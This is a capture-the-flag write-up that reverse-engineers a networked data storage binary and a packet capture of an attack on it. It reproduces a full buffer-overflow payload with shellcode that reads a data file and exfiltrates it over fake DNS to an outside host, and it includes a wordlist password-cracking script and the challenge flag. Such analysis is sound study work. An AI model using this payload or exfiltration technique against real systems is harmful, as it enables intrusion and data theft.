Santa is very pleased with the work of the elves and stores a flag in the application. For his password he usually uses the secure password generator shuf -n1 rockyou.txt.

Giving each other a pat on the back for the good work the elves lean back in their chairs relaxedly, when suddenly the intrusion detection system raises an alert: the application seems to be exploited remotely!


Santa and the elves need your help!

The intrusion detection system captured the network traffic of the whole attack.

How did the attacker got in? Was (s)he able to steal the flag?


The given zip archive containing a Bash script, an ELF executable, an empty folder, and a packet capture:

$ unzip -l 
  Length      Date    Time    Name
---------  ---------- -----   ----
       78  2020-10-29 08:25
    17832  2020-10-29 08:14   data_storage
        0  2020-10-29 08:32   data/
     3620  2020-12-16 03:10   attack.pcapng
---------                     -------
    21530                     4 files
$ file data_storage attack.pcapng     Bourne-Again shell script, ASCII text executable
data_storage:  ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/, BuildID[sha1]=4f732bdcc708dd6885deaf71d1971f8e81cc4f55, for GNU/Linux 3.2.0, not stripped
attack.pcapng: pcapng capture file - version 1.0



The PCAP shows an attack on this hosted binary, and I’ll dig into that in detail.

The Bash script runs socat in such a way that the ELF binary is served over TCP port 5555.

socat TCP4-LISTEN:5555,reuseaddr,fork EXEC:./data_storage,stderr;

The program is a data storage application. It will ask for a username, and then either prompt to create a password for a new user, or ask for a password for a returning user. The user can store data, retrieve data, and delete that data.

$  ./data_storage 
welcome to santa's secure data storage!
please login with existing credentials or enter new username ...
username> 0xdf
creating user '0xdf' ...
please set your password (max-length: 19)
password> 0xdf
welcome 0xdf!
[0] show data
[1] enter data
[2] delete data
[3] quit
choice> 0
no data found!
[0] show data
[1] enter data
[2] delete data
[3] quit
choice> 1
data> this is test data
[0] show data
[1] enter data
[2] delete data
[3] quit
choice> 0
your secret data:
this is test data
[0] show data
[1] enter data
[2] delete data
[3] quit
choice> 3
good bye!

After that session, two files were created in data/:

$ ls data/
0xdf_data.txt  0xdf_pwd.txt

No matter what is entered, the [username]_pwd.txt file is 16 bytes:

$ xxd data/0xdf_pwd.txt 
00000000: 2674 8f0c a033 df36 a7fa 3396 2579 368f  &t...3.6..3.%y6.

The [username]_data.txt file is the same length as the input data:

$ xxd data/0xdf_data.txt 
00000000: 2a29 0bc2 5af2 45d1 8d48 e737 5fbd 991b  *)..Z.E..H.7_...
00000010: 2f51                                     /Q

This matches with the information provided in the challenge assuming the hashing algorithm is being applied to the password and the stream cipher is being applied to the data, as a hashing algorithm would produce a fixed length output, and the stream cipher would produce output the same length as the input.

Static RE

Because the binary is not stripped, opening it in Ghidra presents helpful function names:


The main function calls login_username, login_password, and show_menu:

undefined8 main(void)

  setvbuf(stdin,(char *)0x0,2,0);
  setvbuf(stdout,(char *)0x0,2,0);
  setvbuf(stderr,(char *)0x0,2,0);
  return 0;

show_menu prints the menu, processes the input, and then calls the appropriate function:

void show_menu(void)

  char input_str [10];
  char user_data_file [44];
  int input_int;
  while( true ) {
    while( true ) {
      while( true ) {
        while( true ) {
          puts("[0] show data");
          puts("[1] enter data");
          puts("[2] delete data");
          puts("[3] quit");
          printf("choice> ");
          input_int = atoi(input_str);
          if (input_int != 0) break;
        if (input_int != 1) break;
      if (input_int != 2) break;
    if (input_int == 3) break;
    puts("unknown choice!");
  puts("good bye!");

Right away I see the buffer overflow where it calls fgets to read up to 1000 bytes of menu choice into a 10 byte buffer. To reach the return, the result of atoi on the input string will have to be 3, but that just means that any string starting with 3[non-digit] will work.

Functions like show_data work as expected, trying to read the data from the _data.txt file and passing the contents to decrypt:

void show_data(char *user_data_file)

  int iVar1;
  FILE *fd;
  size_t *outlen;
  size_t in_R8;
  EVP_PKEY_CTX buffer [104];
  FILE *fd_copy;
  iVar1 = access(user_data_file,0);
  if (iVar1 == -1) {
    puts("no data found!");
  else {
    fd = fopen(user_data_file,"r");
    fd_copy = fd;
    printf("your secret data:\n%s\n",buffer);

Interestingly, the decrypt function also takes a global variable, pwd_hash, which is set in the login_password function via the calc_hash function. decrypt loops over the input files, calling keystream_get_char, xoring the result with the current byte, and then breaking if the resulting plaintext is null.

int decrypt(uchar *buffer,uchar *pwhash)

  long kchar;
  uint i;
  i = 0;
  while( true ) {
    kchar = keystream_get_char(i,(long)pwhash);
    buffer[(int)i] = (byte)kchar ^ buffer[(int)i];
    if (buffer[(int)i] == 0) break;
    i = i + 1;
  return 0;

Recreate Hash Function

The custom hashing function is not complicated:

void calc_hash(long password,ulong password_len,void *buffer)

  char chr;
  ulong buf1 [4];
  int i;
  ulong buf2 [4];
  buf1[0] = 0x68736168;
  buf1[1] = 0xdeadbeef;
  buf1[2] = 0x65726f6d;
  buf1[3] = 0xc00ffeee;
  buf2[3] = 0x68736168;
  buf2[2] = 0xdeadbeef;
  buf2[1] = 0x65726f6d;
  buf2[0] = 0xc00ffeee;
  i = 0;
  while ((ulong)(long)i < password_len) {
    chr = *(char *)(password + i);
    buf1[1] = buf2[3] ^ (long)(int)(chr * i & 0xffU ^ (int)chr |
                                   ((int)chr * (i + 0x31) & 0xffU ^ (int)chr) << 0x18 |
                                   ((int)chr * (i + 0x42) & 0xffU ^ (int)chr) << 0x10 |
                                   ((int)chr * (i + 0xef) & 0xffU ^ (int)chr) << 8);
    buf1[2] = buf2[2] ^ (long)(int)(chr * i & 0x5aU ^ (int)chr |
                                   ((int)chr * (i + 0xc0) & 0xffU ^ (int)chr) << 0x18 |
                                   ((int)chr * (i + 0x11) & 0xffU ^ (int)chr) << 0x10 |
                                   ((int)chr * (i + 0xde) & 0xffU ^ (int)chr) << 8);
    buf1[3] = buf2[1] ^ (long)(int)(chr * i & 0x22U ^ (int)chr |
                                   ((int)chr * (i + 0xe3) & 0xffU ^ (int)chr) << 0x18 |
                                   ((int)chr * (i + 0xde) & 0xffU ^ (int)chr) << 0x10 |
                                   ((int)chr * (i + 0xd) & 0xffU ^ (int)chr) << 8);
    buf1[0] = buf2[0] ^ (long)(int)(chr * i & 0xefU ^ (int)chr |
                                   ((int)chr * (i + 0x52) & 0xffU ^ (int)chr) << 0x18 |
                                   ((int)chr * (i + 0x24) & 0xffU ^ (int)chr) << 0x10 |
                                   ((int)chr * (i + 0x33) & 0xffU ^ (int)chr) << 8);
    i = i + 1;
    buf2[0] = buf1[0];
    buf2[1] = buf1[3];
    buf2[2] = buf1[2];
    buf2[3] = buf1[1];
  *(ulong *)buffer = buf1[0];
  *(ulong *)((long)buffer + 4) = buf1[1];
  *(ulong *)((long)buffer + 8) = buf1[2];
  *(ulong *)((long)buffer + 0xc) = buf1[3]

It initializes four four-byte words to static values, and then loops over each character of the input xoring each byte by some variation on the input byte. Then it shuffles the four words around, and repeats. I can recreate this in Python relatively easily:

def gen_hash(s):
    buf1 = [0x68736168, 0xdeadbeef, 0x65726f6d, 0xc00ffeee]
    buf2 = [0xc00ffeee, 0x65726f6d, 0xdeadbeef, 0x68736168]

    for i in range(len(s)):
        c = ord(s[i])
        buf1[1] = buf2[3] ^ (((i * c) & 0xff) ^ c |
                  ((((i + 0x31) * c) & 0xff) ^ c) << 0x18 |
                  ((((i + 0x42) * c) & 0xff) ^ c) << 0x10 |
                  ((((i + 0xef) * c) & 0xff) ^ c) << 0x8)
        buf1[2] = buf2[2] ^ (((i * c) & 0x5a) ^ c |
                  ((((i + 0xc0) * c) & 0xff) ^ c) << 0x18 |
                  ((((i + 0x11) * c) & 0xff) ^ c) << 0x10 |
                  ((((i + 0xde) * c) & 0xff) ^ c) << 0x8)
        buf1[3] = buf2[1] ^ (((i * c) & 0x22) ^ c |
                  ((((i + 0xe3) * c) & 0xff) ^ c) << 0x18 |
                  ((((i + 0xde) * c) & 0xff) ^ c) << 0x10 |
                  ((((i + 0xd) * c) & 0xff) ^ c) << 0x8)
        buf1[0] = buf2[0] ^ (((i * c) & 0xef) ^ c |
                  ((((i + 0x52) * c) & 0xff) ^ c) << 0x18 |
                  ((((i + 0x24) * c) & 0xff) ^ c) << 0x10 |
                  ((((i + 0x33) * c) & 0xff) ^ c) << 0x8)

        buf2 = [buf1[0], buf1[3], buf1[2], buf1[1]]

    return struct.pack('<IIII', *buf1)

When recreating this kind of bit-wise operation in Python from C, it’s important to make sure that the bit boundaries are followed. For example, a one byte char in C with the value 0x44 shifted left by two bits would return 0x10, where as Python would return 0x110. C cares very much about the size of the element holding the value, whereas Python is more forgiving. It’s ok here because in each case, the code will use & 0xff to get just one byte, and then shift that into place.

With this complete, I can test by hashing “0xdf” and validating that the result matches what is stored in the data directory.

root@kali# python3 -i
>>> with open('data/0xdf_pwd.txt', 'rb') as f:
...     hash_0xdf =
>>> gen_hash('0xdf')
>>> hash_0xdf
>>> gen_hash('0xdf') == hash_0xdf

Recreate Keystream

Ghidra totally simplifies this function in a way that I did not believe at first. It suggests that the keystream by at position i is calculated by taking the ith byte of the hash (mod 16, so it just loops to the beginning). That byte mod 10 is used to grab a byte from a static byte string, key, which is xored by the hash byte and i to make the key byte.

long keystream_get_char(uint i,long pwhash)

  char hash_byte;
  uint zero;
  char key [10];
  key._0_8_ = 0x563412c0efbeadde;
  key._8_2_ = 0x9a78;
  zero = (uint)((int)i >> 0x1f) >> 0x1c;
  hash_byte = *(char *)(pwhash + (int)((i + zero & 0xf) - zero));  # get byte (i mod 16) from hash
  return (long)(int)((int)key[(ulong)(long)hash_byte % 10] ^ (int)hash_byte ^ i);

There’s a bit of weirdness that could come into play for i really big, but I’ll ignore that. Not believing this disassembly, I actually went thought the hassel of making the Python equivalent of the assembly that looks like:

        00401a90 55              PUSH       RBP
        00401a91 48 89 e5        MOV        RBP,RSP
        00401a94 89 7d dc        MOV        dword ptr [RBP + local_2c],EDI
        00401a97 48 89 75 d0     MOV        qword ptr [RBP + local_38],RSI
        00401a9b 48 b8 de        MOV        RAX,0x563412c0efbeadde
                 ad be ef 
                 c0 12 34 56
        00401aa5 48 89 45 e6     MOV        qword ptr [RBP + key[0]],RAX
        00401aa9 66 c7 45        MOV        word ptr [RBP + key[8]],0x9a78
                 ee 78 9a
        00401aaf 8b 45 dc        MOV        EAX,dword ptr [RBP + local_2c]
        00401ab2 99              CDQ
        00401ab3 c1 ea 1c        SHR        EDX,0x1c
        00401ab6 01 d0           ADD        EAX,EDX
        00401ab8 83 e0 0f        AND        EAX,0xf
        00401abb 29 d0           SUB        EAX,EDX
        00401abd 48 63 d0        MOVSXD     RDX,EAX
        00401ac0 48 8b 45 d0     MOV        RAX,qword ptr [RBP + local_38]
        00401ac4 48 01 d0        ADD        RAX,RDX
        00401ac7 0f b6 00        MOVZX      EAX,byte ptr [RAX]
        00401aca 88 45 ff        MOV        byte ptr [RBP + pwhash_byte],AL
        00401acd 0f be 45 ff     MOVSX      EAX,byte ptr [RBP + pwhash_byte]
        00401ad1 33 45 dc        XOR        EAX,dword ptr [RBP + local_2c]
        00401ad4 89 c6           MOV        ESI,EAX
        00401ad6 48 0f be        MOVSX      RCX,byte ptr [RBP + pwhash_byte]
                 4d ff
        00401adb 48 ba cd        MOV        RDX,-0x3333333333333333
                 cc cc cc 
                 cc cc cc cc
        00401ae5 48 89 c8        MOV        RAX,RCX
        00401ae8 48 f7 e2        MUL        RDX
        00401aeb 48 c1 ea 03     SHR        RDX,0x3
        00401aef 48 89 d0        MOV        RAX,RDX
        00401af2 48 c1 e0 02     SHL        RAX,0x2
        00401af6 48 01 d0        ADD        RAX,RDX
        00401af9 48 01 c0        ADD        RAX,RAX
        00401afc 48 29 c1        SUB        RCX,RAX
        00401aff 48 89 ca        MOV        RDX,RCX
        00401b02 0f b6 44        MOVZX      EAX,byte ptr [RBP + RDX*0x1 + -0x1a]
                 15 e6
        00401b07 0f be c0        MOVSX      EAX,AL
        00401b0a 31 f0           XOR        EAX,ESI
        00401b0c 48 98           CDQE
        00401b0e 48 89 45 f0     MOV        qword ptr [RBP + local_18],RAX
        00401b12 48 8b 45 f0     MOV        RAX,qword ptr [RBP + local_18]
        00401b16 5d              POP        RBP
        00401b17 c3              RET

There’s some tricks in there multipling by -0x3333333333333333, shifting, etc that end up just be the mod 10 Ghidra identified. So the function can be:

def gen_key_byte(i, bhash):
    key = b'\xde\xad\xbe\xef\xc0\x12\x34\x56\x78\x9a'
    hb = bhash[i % 0x10]
    hbxi = hb ^ i
    if hbxi > 127:
        hbxi |= 0xffffff00
    hbsx = hb | 0xffffffffffffff00 if hb > 127 else hb
    prod = 0xcccccccccccccccd * hbsx
    rdx = 10 * (prod >> 67)
    idx = hbsx - rdx
    from_key = key[idx]
    return (hbxi ^ from_key) & 0xff

But it can also just be:

def gen_key_byte(i, bhash):
    key = b'\xde\xad\xbe\xef\xc0\x12\x34\x56\x78\x9a'
    return key[bhash[i % 0x10] % 10] ^ bhash[i % 0x10] ^ i


Looking at attack.pcapng, all but one of the packets are a single TCP stream from to the the server at on port 5555 (which matches


Immediately after, there’s a single UDP port 53 packet, which Wireshark thinks is DNS, but doesn’t seem like valid DNS (at least not in the query):


The attacker entered a long buffer at the choice> prompt, which would be exploiting the buffer overflow noted earlier. Looking at the stream as hex, I’ll grab all the bytes sent.


To debug this, I’ll write a short Python script that exploits the same way as in the PCAP:

#!/usr/bin/env python3

from pwn import *

p = process('./data_storage')

p.readuntil('username> ')
p.readuntil('password> ')

input('Attach gdb and hit enter to continue')

payload = '3 ' + 'A'*64 + "\x10\x41\x40\x00\x00\x00\x00\x00\x68\x74\x78\x74\x00\x48\xbf\x74\x61\x5f\x64\x61\x74\x61\x2e\x57\x48\xbf\x64\x61\x74\x61\x2f\x73\x61\x6e\x57\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\xb8\x02\x00\x00\x00\x0f\x05\x48\x89\xc7\x48\xba\x00\x00\x01\x00\x01\x00\x00\x00\x52\x6a\x00\x6a\x00\x6a\x00\x6a\x00\x48\x89\xe6\x48\xba\x01\x00\x00\x00\x00\x00\x00\x20\x52\x48\xba\x00\x00\x00\x13\x37\x01\x00\x00\x52\xba\x20\x00\x00\x00\xb8\x00\x00\x00\x00\x0f\x05\x48\x31\xc9\x81\x34\x0e\xef\xbe\xad\xde\x48\x83\xc1\x04\x48\x83\xf9\x20\x75\xef\xbf\x02\x00\x00\x00\xbe\x02\x00\x00\x00\x48\x31\xd2\xb8\x29\x00\x00\x00\x0f\x05\x48\x89\xc7\x48\x89\xe6\x48\x83\xc6\x03\xba\x32\x00\x00\x00\x41\xba\x00\x00\x00\x00\x6a\x00\x49\xb8\x02\x00\x00\x35\xc0\xa8\x00\x2a\x41\x50\x49\x89\xe0\x41\xb9\x10\x00\x00\x00\xb8\x2c\x00\x00\x00\x0f\x05\xbf\x00\x00\x00\x00\xb8\x3c\x00\x00\x00\x0f\x05\x0a"


I can run this, then in a different window run gdb -p $(pidof data_storage) to attach to it and debug it.

The attack overwrites the return address with 0x404110, which is the global address of pwhash. The trick here is that the hash of “lovebug1”, the password given, starts with 0xff 0xe4:

>>> gen_hash('lovebug1')

0xffe4 is the instruction for JMP RSP, which will be the rest of the payload above. Trying to run this in a debugger will fail because the memory segment containing 0x404110 is not marked executable:

gdb-peda$ vmmap 
Start              End                Perm      Name
0x00400000         0x00401000         r--p      /media/sf_CTFs/hackvent2020/day24/data_storage
0x00401000         0x00402000         r-xp      /media/sf_CTFs/hackvent2020/day24/data_storage
0x00402000         0x00403000         r--p      /media/sf_CTFs/hackvent2020/day24/data_storage
0x00403000         0x00404000         r--p      /media/sf_CTFs/hackvent2020/day24/data_storage
0x00404000         0x00405000         rw-p      /media/sf_CTFs/hackvent2020/day24/data_storage
0x00007ffff7de9000 0x00007ffff7e0e000 r--p      /usr/lib/x86_64-linux-gnu/
0x00007ffff7e0e000 0x00007ffff7f59000 r-xp      /usr/lib/x86_64-linux-gnu/
0x00007ffff7f59000 0x00007ffff7fa3000 r--p      /usr/lib/x86_64-linux-gnu/
0x00007ffff7fa3000 0x00007ffff7fa4000 ---p      /usr/lib/x86_64-linux-gnu/
0x00007ffff7fa4000 0x00007ffff7fa7000 r--p      /usr/lib/x86_64-linux-gnu/
0x00007ffff7fa7000 0x00007ffff7faa000 rw-p      /usr/lib/x86_64-linux-gnu/
0x00007ffff7faa000 0x00007ffff7fb0000 rw-p      mapped
0x00007ffff7fcc000 0x00007ffff7fd0000 r--p      [vvar]
0x00007ffff7fd0000 0x00007ffff7fd2000 r-xp      [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 r--p      /usr/lib/x86_64-linux-gnu/
0x00007ffff7fd3000 0x00007ffff7ff3000 r-xp      /usr/lib/x86_64-linux-gnu/
0x00007ffff7ff3000 0x00007ffff7ffb000 r--p      /usr/lib/x86_64-linux-gnu/
0x00007ffff7ffc000 0x00007ffff7ffd000 r--p      /usr/lib/x86_64-linux-gnu/
0x00007ffff7ffd000 0x00007ffff7ffe000 rw-p      /usr/lib/x86_64-linux-gnu/
0x00007ffff7ffe000 0x00007ffff7fff000 rw-p      mapped
0x00007ffffffde000 0x00007ffffffff000 rwxp      [stack]

I can just run to that point and then set $rip=[next address on the stack] and debug through that. I can also just dump the instructions using x/50i [address on stack]. First, it builds the string data/santa_data.txt and calls open:

   0x7ffe9540a6b0:      push   0x747874               # txt
   0x7ffe9540a6b5:      movabs rdi,0x2e617461645f6174 # ta_data.
   0x7ffe9540a6bf:      push   rdi
   0x7ffe9540a6c0:      movabs rdi,0x6e61732f61746164 # data/san
   0x7ffe9540a6ca:      push   rdi
   0x7ffe9540a6cb:      mov    rdi,rsp
   0x7ffe9540a6ce:      xor    rsi,rsi
   0x7ffe9540a6d1:      xor    rdx,rdx
   0x7ffe9540a6d4:      mov    eax,0x2
   0x7ffe9540a6d9:      syscall                       # open('data/santa_data.txt', 0, 0)

Next it reads 32 bytes from that file:

   0x7ffe9540a6db:      mov    rdi,rax                # fd in rdi
   0x7ffe9540a6de:      movabs rdx,0x100010000
   0x7ffe9540a6e8:      push   rdx
   0x7ffe9540a6e9:      push   0x0
   0x7ffe9540a6eb:      push   0x0
   0x7ffe9540a6ed:      push   0x0
   0x7ffe9540a6ef:      push   0x0
   0x7ffe9540a6f1:      mov    rsi,rsp
   0x7ffe9540a6f4:      movabs rdx,0x2000000000000001
   0x7ffe9540a6fe:      push   rdx
   0x7ffe9540a6ff:      movabs rdx,0x0000013713000000
   0x7ffe9540a709:      push   rdx
   0x7ffe9540a70a:      mov    edx,0x20
   0x7ffe9540a70f:      mov    eax,0x0
   0x7ffe9540a714:      syscall                       # read(fd, RSP, 0x20)

The read in data is then xored by 0xdeadbeef:

   0x7ffe9540a716:      xor    rcx,rcx
   0x7ffe9540a719:      xor    DWORD PTR [rsi+rcx*1],0xdeadbeef
   0x7ffe9540a720:      add    rcx,0x4
   0x7ffe9540a724:      cmp    rcx,0x20
   0x7ffe9540a728:      jne    0x7ffe9540a719

It then opens a UDP socket and calls sendto sending 50 bytes to on port 53, and then exits:

   0x7ffe9540a72a:      mov    edi,0x2
   0x7ffe9540a72f:      mov    esi,0x2
   0x7ffe9540a734:      xor    rdx,rdx
   0x7ffe9540a737:      mov    eax,0x29
   0x7ffe9540a73c:      syscall                       # socket(AF_INET = IP, SOCK_DGRAM = 2, 0)
   0x7ffe9540a73e:      mov    rdi,rax                # rdi = sockfd
   0x7ffe9540a741:      mov    rsi,rsp
   0x7ffe9540a744:      add    rsi,0x3
   0x7ffe9540a748:      mov    edx,0x32
   0x7ffe9540a74d:      mov    r10d,0x0
   0x7ffe9540a753:      push   0x0
   0x7ffe9540a755:      movabs r8,0x2a00a8c035000002  # C0A8002A =, 0035 = 53
   0x7ffe9540a75f:      push   r8
   0x7ffe9540a761:      mov    r8,rsp
   0x7ffe9540a764:      mov    r9d,0x10
   0x7ffe9540a76a:      mov    eax,0x2c
   0x7ffe9540a76f:      syscall                        # sendto(sockfd, buf = rsp, size = 0x32, flags=0, sockaddr in r8, addrlen = 0x10)
   0x7ffe9540a771:      mov    edi,0x0
   0x7ffe9540a776:      mov    eax,0x3c                # exit(0)
   0x7ffe9540a77b:      syscall

It’s important to note that the buffer pointed to in the sendto syscall is RSP, which now has more stuff on top of the stack before the xored buffer, specifically 13 bytes that make up a fake DNS header, so that the exfilled data becomes the query. Santa’s data encrypted and then xored by 0xdeadbeef starts at the 0xe5 at offset 0x37 in this dump from Wireshark:


I grabbed that data and copied it into a Python terminal. I can remove the xor with the following:

>>> ''.join([f'{x^y:02x}' for x,y in zip(cycle(b'\xef\xbe\xad\xde'), binascii.unhexlify(udpd)[13:45])])

Now I have the encrypted version of Santa’s data.

Crack Santa’s Password

I can now brute force over rockyou.txt trying each password by generating the hash, decrypting the data, and seeing if it starts with ‘HV20{‘.

santa_data = binascii.unhexlify("0a114843de120e14cea06ea749cd8e8035080d53c16d1a6884eb28a0278a8fa4")
with open('/usr/share/wordlists/rockyou.txt', 'r') as f:
#with open('./test', 'r') as f:
    for p in f:
            ph = gen_hash(p.strip())
            res = decrypt(santa_data, ph)
            if res.startswith("HV20"):
            pass #import pdb; pdb.set_trace()

Because rockyou.txt actually has some non-ascii characters in it, I’ll run in a try block to catch errors and continue.

It takes about 12 seconds time find the password and the flag:

$ time python3 

real    0m12.019s
user    0m11.938s
sys     0m0.025s

Flag: HV20{0h_n0es_fl4g_g0t_l34k3d!1}